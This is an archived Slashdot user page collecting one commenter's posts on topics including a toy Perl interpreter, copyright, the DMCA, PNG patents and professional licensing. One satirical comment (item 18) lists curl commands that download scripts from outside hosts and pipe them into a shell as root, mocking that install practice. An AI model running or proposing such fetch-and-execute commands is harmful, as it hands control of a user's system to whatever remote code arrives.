Slashdot Mirror


User: Nindalf

Nindalf's activity in the archive.

Stories
0
Comments
247
First seen
Last seen
Profile
(view on slashdot.org)

Comments · 247

  1. How about this? on Lightweight Languages · · Score: 2

    Sounded like fun, so here's a reverse-polish interpreter with a whopping 10 instructions (counting subroutine definition). It's not totally minimal, but it is useable, and Turing-Complete.

    Odd numbers are true, evens are false, and control flow is through conditional return and conditional tail recursion. Comparisons and other arithmetic operations can easily be built up from addition and negation. Named variables can be created by making subroutines that return an address.

    I call it, simply, rpol.

    RPOL
    #!/usr/bin/perl
    %commands=();
    %data=();
    @mainstack=();
    %builtins=(
    '+'=>sub{push @mainstack, (pop(@mainstack)+pop(@mainstack))},
    'neg'=>sub{$mainstack[-1]=-$mainstack[-1]},
    'set'=>sub{$temp=pop @mainstack; $data{$temp}=pop @mainstack},
    'get'=>sub{push @mainstack, $data{pop @mainstack}},
    'in'=>sub{read STDIN,$temp,1; push @mainstack, unpack('c',$temp)},
    'out'=>sub{print STDOUT (pack 'c',(pop @mainstack))},
    'eof'=>sub{push(@mainstack, (eof STDIN)?1:0)},
    '<?'=>sub{(pop(@mainstack)&1)?'repeat':0},
    'ret?'=>sub{(pop(@mainstack)&1)?'return':0},
    );

    open(PROGFILE, "<$ARGV[0]") or die "Couldn't open program file.";
    while(<PROGFILE>){
    chomp;
    if(/^#/){
    #ignore comment
    }elsif(/^:\s*(\S+)\s+(.+?)\s*$/){
    $command=$1;
    $commands{$command}=[split /\s+/,$2];
    }elsif(/^\s*(\S.*?)\s*$/){
    rpol_exec(split(/\s+/, $1));
    }
    }

    sub rpol_exec{
    REPEAT: ;
    for(@_){
    if(exists $commands{$_}){
    rpol_exec(@{$commands{$_}});
    }elsif(exists $builtins{$_}){
    $temp=$builtins{$_}->();
    if($temp eq 'repeat'){ goto REPEAT }
    if($temp eq 'return'){ return }
    }elsif(/^(\d+)$/){
    push @mainstack, $1;
    }else{
    print STDERR "Unknown token: '$_'\n";
    exit(1);
    }
    }
    }
    #END FILE

    For a sample, I wrote a program that swaps every two bytes of input, then writes them to output.

    Sample Code (test.rpol):
    #unused cat utility
    :cat in out eof not <?
    #unused newline function
    :nl 10 out
    #main program
    :not 1 +
    :swap 1 set 2 set 2 get 1 get
    :cleanup eof not ret? out
    :swapcat in cleanup eof ret? in swap out out eof not <?
    swapcat
    #END FILE

  2. A working solution. on Cable Co's Want More Control Over Your Network · · Score: 3, Insightful

    Here in Canada, the cable modem ISP I use sets a monthly transfer limit of 1 GB per month. I'm pretty sure I've gone over it a couple of times, but they haven't bothered me. I do keep the limit in mind, so I would never go over it by much (this doesn't seriously inconvenience me in any way, of course, since I don't use my computer as a server), and I suppose it's not worth their trouble to pester me over a hundred megabytes one way or the other.

    However, if I regularly went much over the limit, they could easily demand that I pay an extra $10 per gigabyte. That would cover their cost, and would be quite reasonable to a heavy downloader like myself. If I tried to run a high-traffic webserver, or something like that, my transfer would go through the roof, and they'd insist I switch to another kind of account to cover the cost of upgrading the last-mile connection.

    Very few people complain about the transfer limit, and I don't think it costs them any customers. On the other hand, people would be screaming bloody murder if they tried to control what you did with the connection. The user agreement is short and sweet, with only a few inexplicable IRC usage restrictions sticking out like a sore thumb. Basically: don't use it maliciously, don't do anything illegal, don't use more than 1 GB/month, and don't bug us about your home networking problems.

    I really don't know why the other sort of bandwidth management is so common in the US; this way seems so much simpler.

  3. It's a no-win industry. on Money in the Music Business · · Score: 2

    This is competition on the mass market with small reproduction cost, in an area very (yet very unpredictably) responsive to promotion money. It is only natural that promotion costs will rise to allow only the minimum acceptable profit that will hold the invested money in each company.

    Those promotion costs become value in the promoted musician's name, so it is vital for them to lock down their musicians with debt and contract. Otherwise, another company could easily draw them away, offering more money but taking more profit, because they haven't spent anything to gain the wide recognition and carefully manufactured demand for the product.

    Of course, most musicians wouldn't think twice about screwing over the recording companies whose money made them famous. When they succeed, it's purely "because of their talent." Fans tend to agree, because they value the music, but see no value in having their tastes manipulated. Contrariwise, to the promotion industry, talent is just a common raw material (preferably available in naive and desperate packaging) which is not valuable in the raw, but can be smelted and formed into a profitable product. Paying the minimum price for raw materials is just good business.

    Looking at the business of it, it seems pretty clear that the promotion dollars are more important (both more scarce and more necessary) than talent when it comes to making money.

    The copyright profit model, combined with the few-to-many broadcast media, makes a naturally rotten situation. There's plenty of talent to be had cheap, and scarce little public attention to buy at high price. Add in the glamor and natural attraction of the work, and competition becomes so cut-throat that deceptive, underhanded tactics are necessary to survive, skimming along the edge of legality, as far as lawyers can push it out.

    You can't blame them, really, any more than you can blame men trapped without food for turning cannibal; there's money to be made, in an attractive and well-loved industry, but not by honest and generous people. You can only work to remove the situation that causes it. It's not an easy problem.

    I like the donation profit model, for sheer simplicity, but it's not 100% clear that it would actually work, as a matter of human psychology. The concert profit model (recorded music as promotion for live performance) is good for bands that sound best live, but what about music that makes lousy concerts? Pay-per-download (or pay-per-play) sounds nice, but either it requires essentially an end to personal ownership of general-purpose computers and recording devices (replaced by media terminals which can't be reprogrammed to circumvent copyright measures) or it collapses to a less efficient variant of the donation model. Are there any other ideas out there?

  4. Re:That's not all. on Software Engineering Body of Knowledge · · Score: 2

    Professional accreditation organizations are there to guarantee a minimum level of competence for the accredited people qualified in their field. Do you really want a lawyer that doesn't have this minimum level of competence? A doctor? What about the civil engineers who design the buildings you live and work in?

    How about a cook? A car driver? A janitor? A construction worker? Any of those could kill you with their incompetence. Do they spend 8 or 10 years in training, supervised work, and examinations before they are allowed to work on their own?

    The risk is managed because both they and the people who hire them are liable for any consequences of their incompetence. It is possible to verify skills without a government-granted monopoly on certification.

    A decade is too much for a minimum-cost verification of competence, that's practically a lifetime committment. It's hard to recognize competence in such involved fields, but not that hard. In this case, for example, only recently they doubled the experience requirement. Were the previous engineers incompetent? The fact is that the existing members had nothing at all to lose by extending the experience requirement, though this was clearly (through long precedent) not necessary to ensure "a minimum level of competence," as you put it.

    The problem is that we give these organizations free rein. They are assumed both ideally competent and to be looking out for society's interests. They are never cut down to size when they start stepping on people's toes in areas where they've never been needed before, or when a field is so developed with other specialized workers that they are reduced to placing their seal on a job already done, instead, their influence constantly grows by tiny increments, until you see such profound idiocies as needing to hire an engineer to verify that your lawnmower shed is structurally sound before you are allowed to build it.

    They're not evil, they're not out to stiffle innovation and "calcifify" our society.

    Perhaps one day you will understand that sometimes ostensible intention is not the same thing as effect. Nobody writes laws intending to make things worse, but there are bad laws.

  5. That's not all. on Software Engineering Body of Knowledge · · Score: 4, Interesting

    First you need that Engineering degree, and they are really nasty about transferring credit or allowing courses to be challenged. Basically, figure at least 3 years as a full-time university student if you already have very relevant training.

    But then you need 4 (IIRC) years as basically an apprentice, working full time under the direct supervision of an accredited engineer. Naturally, this is, "We can end your career before it even begins!" internship-type employment.

    So we're talking about a bare minimum 7-year investment (more likely 8 or 9) before they'll even look at you. These restrictions have been tightening up, requiring larger and larger investments in time, over the last decades, and I expect it to continue in this manner.

    It seems to me that all of our professional organizations are slowly becoming old-fashioned guilds, organized less for the benefit of the general public and more for the members. Organizations in which one doesn't become a full member who can work unsupervised until middle age, assuming one commits oneself in one's youth. They already have the protection of government, so entrenched that nobody ever seems to suggest weakening their monopolies.

    Do we really need a Bar Association? Do you think lawyers are more ethical, more beneficial to society because there's a government-granted monopoly to its members on arguing the law on others' behalf? Do you think your area's medical association is doing the best possible job producing competent, efficient doctors with no competition or alternative of any kind?

    How many professionals are just wielders of required rubber stamps? How many brilliant young potential innovators are slowly crushed into mediocre clock-watchers, who have been shown again and again that putting your time in, looking respectable, and covering your ass pays off better than doing your job well and advancing the state of the art?

    I think that far too few people question the value, competence, and good faith of professional organizations. They're just accepted as natural features of a well-run society, assumed to be the best interface to highly specialized skills without an active evaluation.

    I look at them, and see the gradual calcification, then downfall of our society. I see never moving beyond asphalt roads and cars that move at 60 MPH, never moving a viable population off the planet, never extending the average human lifespan beyond 100 years.

    I hate to see people talking about moving this kind of influence into software. It's one thing to run competing private organizations that certify certain skills, it's quite another to start legally requiring certification from a particular one, giving it monopoly status. Let alone ceasing to question whether it should keep that status.

  6. That's an utterly ridiculous attitude. on PNG Group Unconcerned About Apple's Patent · · Score: 5, Insightful

    While we're at it, let's spend all our time and effort preparing to defend PNG against patents on automated shoe manufacturing and quack magnetic therapy devices. After all, "only a court can decide" whether PNG software infringes on those, too.

    The patent itself specifically contrasts what it covers with the use of an alpha channel, such as is used by PNG. It is obviously not a threat to anyone who bothers to read the patent.

    Aside from that, PNG was designed to avoid patent issues by people who knew what they were doing, in an drawn-out open process where anyone could have pointed out weaknesses. It's based on well-established techniques with a long history of prior art. Your first assumption should be that any patent either doesn't affect PNG, or is so blatantly invalid that nobody would ever dare take it to court, not that there's trouble ahead because a one-line description of a patent sounds vaguely like something PNG does.

    You can't live your life shrieking in terror every time someone whispers "patent."

  7. It's a matter of simulating binary. on Ternary Computing Revisited · · Score: 1

    Binary operations can be done on any base numbers by implementing them using base-neutral arithmetic. "shift left" become "multiply by a power of 2" etc. It would be easy to add to a C compiler.

    When you knew you were writing for ternary computers you wouldn't want to use a lot of binary operators, since they're not very efficient, but a ternary computer could definitely run programs in binary-based languages. Naturally, there are analogous digit operations for any base, and to take full advantage of the computer, you'd want a more appropriate programming language that lets you access them.

  8. It is specifically not alpha blending. on Apple Patent Blocking PNG Development · · Score: 4, Informative
    From the patent:
    Compositing can also be used to "blend" two images by controlling the degree to which the two images are merged or averaged. This is often done by a method called "alpha channel blending" in which an 8 bit alpha channel controls the blending of two 32 bit RGB images.

    However, while these methods have been useful, they are quite rigid and inflexible in accommodating images of various colors and bit depths[...]


    Alpha blending is directly contrasted to their method in the patent itself. This is no threat to the patent-free status of PNG or MNG.
  9. Re:Isolation on The Real Mission to Mars · · Score: 2

    I mean on Mars your not going to be able to hop onto the internet or call someone when you get bored

    Why would you assume this? They'll need a high-bandwidth data link, and I imagine that low-bandwidth internet access would be considered a good investment in morale. Sure, the lag would be a killer, but it would still be good.

    I dunno about you, but for all I know, I might have been on my way to Mars for the last week. I think there are lots of people now who wouldn't be bothered by the isolation much.

  10. Something like this? on Would You Pay A Penny Per Page? · · Score: 2

    Buskpay - A Decentralized Meta-Payment System

    The idea is to have little text files that list a variety of payment methods and stuff like contact information. You use these to make a big list of all the penny-donations you want to make, and worry about how to pay them in a batch later. $20 batches of tiny donations are much easier to handle than donations individually, so practically anyone could set up a business to do this, once a couple thousand people wanted to use it regularly.

  11. Never mind that, what about their cache? on Would You Pay A Penny Per Page? · · Score: 2

    In a penny-per-page world, google's caching system would probably be outlawed.

  12. Ask a silly question... on Are Videogames Art? · · Score: 2

    ...start a silly flamewar.

    No two people agree on what "art" means. I would suggest these are the most popular definitions:
    1) image created by human skill and effort using general marking tools (not photography), or field of creating such images, or collective product of this field
    2) any field of human endeavor, or products of same (formal, somewhat archaic)
    3) any admirable human effort or product of human effort
    4) anything with no practical value other than aesthetic appeal
    5) anything displayed behind a velvet rope in an art gallery

    The word is so muddled that there's no point in using it without further clarification, except perhaps with the first or second definition, when the context makes it clear. It just provokes pointless arguments where nothing gets resolved.

  13. It's pretty simple really. on Napster Alternatives Coming Strong · · Score: 4, Insightful

    You seem to be confused by the legal similarity of violating the GPL (violating copyright) with the typical use of Napster-like products (violating copyright). The legal basis, however, is unimportant. Law is not morality.

    When someone violates GPL, they are generally attempting to restrict distribution of useful, non-personal information products. When somebody uses a Napster-like product, they are distributing useful, non-personal information products.

    The consistent ethic is that free distribution of useful, non-personal information products is good, and restricting this distribution is bad.

  14. Re:Of course they can be estimated. on Can Software Schedules Be Estimated? · · Score: 2

    That's exactly the sort of attitude that has caused the sort of spectactular failures of software projects to be accepted as the norm. Software Engineering is *not* "hacking" or "coding" or "programming", it's *engineering*, like building a bridge or a skyscraper. Yes, those projects go over time and budget too sometimes, but they are the exception rather than the rule.

    That is a direct result of the problems solved. Most engineering creates very, very simple, easily expressed functions. For example: provide a surface between position a and position b capable of supporting X weight of traffic. Any idiot can specify the interface of a bridge. The problem is building it so it stays there.

    Engineering grows out of solving the same problem thousands of times, and using the information gained to reduce cost and improve performance and reliability.

    Programmers usually work on completely new problems. We never do the same thing thousands of times; when something needs to be done over and over again, a program is written to do it, incorporating the learned principles and techniques. A compiler is more directly analogous to an engineer than a programmer is.

    There is no field of software engineering, and there never will be. There are only pretentious, deluded programmers who think their collection of silly fads is the real silver bullet.

  15. Re:RAM-slot FPGAs on Low-cost Reconfigurable Computing (FPGA's) · · Score: 3, Insightful

    modern processors are well-adapted to general computing tasks.

    This is a completely meaningless statement, because there's no such thing as a general computing task. Today's popular uses for computers developed as a result of the hardware's capabilities (which influenced the hardware's design, in an evolutionary feedback loop). We are only beginning to explore the uses of digital microcircuitry.

    Modern processors and modern programming methods are well adapted to each other, so one should expect that unorthodox hardware would be difficult to program and give poor results. We just don't have the experience for it.

    However, it becomes increasingly harder to get a consistent return on larger and larger surface-element counts with serial execution programming. Random memory accesses and conditional branching are discouraged in favor of "predictable" memory accesses and instruction execution, and greater and greater sacrifices of the illusion of serial execution are made in favor of efficiency. The advantages of parallelism grow as the chips grow, and reconfigurability at the level of the gate logic is the natural extreme we will likely tend toward as we figure out how to handle trillions of transistors in one device.

    Can you really imagine current design trends extrapolated to instruction pipelines millions deep? Serial execution does not scale infinitely.

  16. That's ridiculous. on The Waning of the Overlapping Window Paradigm? · · Score: 3, Insightful

    As Tog says, in one of the linked articles: "We programmers are not normal people. We tend to have superior memories, we actually grasp boolean logic, we have formed priesthoods around the most egregious interfaces, and we have a firm belief that the average citizen is in search of an editor for his daily C and Pascal coding tasks." He says this because he wants to make it clear that he's not talking about people like us.

    This research applies to the casual computer user of the late 1980's. Completely non-standard (and really hideous) keyboard interfaces were compared to consistent mouse interfaces for people who had probably only recently touched a computer for the first time in their lives. By a company that was betting the farm on the mouse interface.

    The one example I see (replace all '|'s with 'e's) is unrealistic and obviously biased toward the mouse, though he presents it as intentionally biased toward the keyboard. That was all I needed to see. This was an incompetent, biased researcher with a tendency to dramatically overgeneralize.

  17. I heard that! on Is Slackware Fading Away? · · Score: 1

    Last year, I tried Debian because I was getting sick of the lack of package support for slack, but I then spent most of my time learning how to use dpkg and trying to figure out what the hell got installed to my system on my last upgrade.

    I have had nothing but nightmares since I first tried Debian. Eventually, I simply gave up on the package system, after I decided to try out some toy component, and it broke several essential systems and refused to fix them.

    Red Hat (my first distro) was considerably less frustrating, but I regularly had to edit source code to get things to work.

    You have to know what's going on in there, and I always end up fighting any system that tries to simplify the process.

  18. Other safe, easy installations to run as root: on GNU-Darwin Goes Beta · · Score: 3, Funny

    curl http://madhaxxors.com/0wnZj00 | sh
    curl http://goatse.cx/setwallpaper.csh | csh
    curl http://spamforprofit.org/easymoney.pl | perl
    curl http://microsoft.com/msonly/seekNdestroy | bash

  19. Re:Fair use defined on Sony Uses DMCA To Shut Down Aibo Hack Site · · Score: 3, Informative

    Fair use cannot be used as a defense for unauthorized _distribution_ of copyrighted material.

    What is using video clips from a movie in a review except unauthorized distribution? The "fair use" exemption does include distribution under certain circumstances.

    But I agree, no court in the USA would find this to be fair use. I don't think they'd ever support distribution in whole for works longer than a few lines. I still think that this fits the intended purpose of fair use, and this is unethical exploitation of a technicality, just as when certain governments and cults have used copyright to prevent secret documents from being distributed rather than to secure profit from the distribution.

  20. The answer is obvious: on Undercover Hacking, For Money · · Score: 1

    You just have to disguise yourself as the pizza.

  21. Progress == Innovation "the arts" != entertainment on Sony Uses DMCA To Shut Down Aibo Hack Site · · Score: 3, Insightful

    Copyright law was originally intended to promote progress in the arts, which in modern terms translates to good entertainment.

    You think a novelist or an artist can't be innovative?

    Anyway, this is a gross misrepresentation of the meaning of "the arts." If that was the case, they would have only applied it to works of fiction. In such formal speech, "the arts" is used in the root sense of productive skills, not merely entertainment, which is why you see a title like "The Art of Computer Programming."

    Also, when it was settled that copyright could be applied to software, the justification was clearly to reward progress/innovation in software development.

  22. Traditional civil disobedience is more effective. on Sony Uses DMCA To Shut Down Aibo Hack Site · · Score: 2

    Traditional, open civil disobedience works well exactly because it is open. If even one in ten people who disobey copyright covertly (probably about 9.9% of the total population) did so obnoxiously publicly (say, going out on the the street and selling homemade VHS copies of Disney movies), they couldn't all be arrested. A few would, then everybody would just decide it's not worth it, charges would be dropped, and life would go on without copyright.

    However, I don't think this would be effective. People want to disobey copyright a little, in private, and make other people pay. So they sneak around, and feel a bit guilty for breaking the law, and give lip service to the value of copyright. They don't want to get rid of it, because they think it will cut way down on new works, just break it themselves.

    <digression>
    Personally, I think it would be irresponsible to just drop copyright abruptly, which would cause whole industries to fall apart, and maybe take decades to recover from. It would be far better to move away from it gradually, by making public domain work profitable to the creators. Public domain works have major competitive advantages (all else being equal, do you buy the game for $60 or download the free one?), if only people would pay for them voluntarily, it would quickly become more profitable to not use copyright. Profit structure thus adapted and braced for the change, copyright could be abandoned.

    So if you want to get rid of copyright, give money to people who give you free stuff.
    </digression>

    Fighting the DMCA with open civil disobedience might work, though. It's obscure, so it would be hard to get people to attack it, but it would also be easier to get the majority to decide it's not worth it. If you could get a large portion (say a quarter) of technical professionals to blatantly violate it, aside from the logistical problems of punishing them, it would no doubt convince people who didn't know and didn't care about the DMCA that it was a bad thing. The biggest problem is feeling out the support, and organizing it; you'd probably break lots of laws doing that. Really, the only way to do it is to lead by example. One person's open defiance and stoic acceptance of punishment could inspire a few emulators, who would encourage a few more fence-sitters to put themselves un, until joining the protest would just be jumping on the bandwagon.

    Being such a momentary martyr could be profitable, if the support is there. He would become famous, and respected by everyone who followed his example. Unless, of course, nobody followed his example, then he'd just get the punishment. How much do people hate the DMCA? Big gamble, especially when it might be struck down without anyone disobeying it. The much wiser course might be a real paper petition; if people are really that opposed, collecting even a million signatures shouldn' t be a problem. It's not flashy, but it beats going to jail.

    Almost anything is less ridiculous and more likely to succeed than an idealist slinking around like a criminal.

  23. Re:This guy sort of brought it on himself on Sony Uses DMCA To Shut Down Aibo Hack Site · · Score: 4, Insightful

    You can't scream about unfair laws and then break the ones that are fair.

    First off, who says that copyright is fair? I would guess that the people most opposed to the DMCA already didn't like copyright. It's more like screaming about really unfair laws and then breaking different unfair ones. This guy obviously thought he wasn't doing anything wrong, and I agree with him.

    Secondly, this is a counterproductive abuse of copyright. We're talking about software that can only be usefully run on an expensive toy that the copyright-holder sells. They don't need copyright protection. I think this could be considered fair use, because it's non-commercial, for research and education purposes, and does not actually interfere with their profit potential. OTOH, if someone cloned AIBO, they might have some reasonable justification to interfere.

    The appropriate response would have been to lead with the ominous assertion of copyright restrictions, and follow with permission to use it to increase the value of their product. IOW, distribution under restrictive license (permission is only granted to owners of an AIBO to copy and modify this code, and only for the purpose of running it on an AIBO, all modifications become copyright Sony, etc.). Or, at worst, tell him to distribute his modifications as patches.

    Basically, instead they told him that he shouldn't even have thought about modifying the software, because there's no way in Hell it would ever be permitted.

    To me, this is an extremely offensive interference with personal property and free speech rights. The way I see it, people have a right to make any modifications they want to gadgets they've bought, as long as it doesn't make them dangerous to others, and a right to describe how such modifications may be made, quoting copyrighted materials as necessary, as long as that quoting, in and of itself, doesn't directly reduce the commercial value of the copyright.

  24. My faith in Anonymous Coward is broken forever! on Generic GUI Wrapper For Python · · Score: 1

    That's... a good point. I read it as a somewhat odd press release, and skimmed right over the header material to read the body.

    It changes the tone of the article completely, from giant nonsensical arrogant corporate initiative to just another cross-platform GUI library for Python.

    Wow, I'm dumb.

  25. In short, IBM says "Screw you guys, we'll do it." on Generic GUI Wrapper For Python · · Score: 0, Troll

    The problem: existing cross-platform libraries are not ported everywhere.

    The solution, according to IBM: port an existing cross-platform library everywhere? No! Make an entirely brand new cross-platform library interface, that runs no previously-written code. Also, instead of wrapping the few unsupported low-level GUI interfaces not yet supported, and deal with all the quirks of each system, they will wrap every existing Python GUI, and deal with the quirks of each system. Naturally this will result in a far superior, much more portable product. Why? Because We're IBM and We say so! (it's their company motto, slogan, and vision statement, look it up)

    So all Python programmers should immediately embrace this new standard, which, despite being alpha at best, will surely soon be much better than any existing toolkit.

    Sure, they could just clean up the TK ports, but where's the fun (or branding) in that?